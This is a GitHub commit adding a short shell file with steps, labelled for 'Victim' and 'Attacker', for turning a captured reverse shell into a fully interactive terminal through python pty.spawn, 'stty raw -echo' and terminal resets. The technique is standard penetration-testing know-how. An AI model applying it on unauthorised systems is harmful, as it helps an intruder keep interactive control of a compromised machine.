Create stty.sh

This commit is contained in:
dade 2017-07-20 19:22:59 -07:00 committed by GitHub
parent e3a3f8f882
commit 49835eed58

13
Upgrade-Shells/stty.sh Normal file
View File

@ -0,0 +1,13 @@
# Victim
python -c 'import pty; pty.spawn("/bin/bash")'
#Ctrl-Z
# Attacker
stty raw -echo
fg
# Victim
reset
export SHELL=bash
export TERM=xterm-256color
stty rows <num> columns <cols>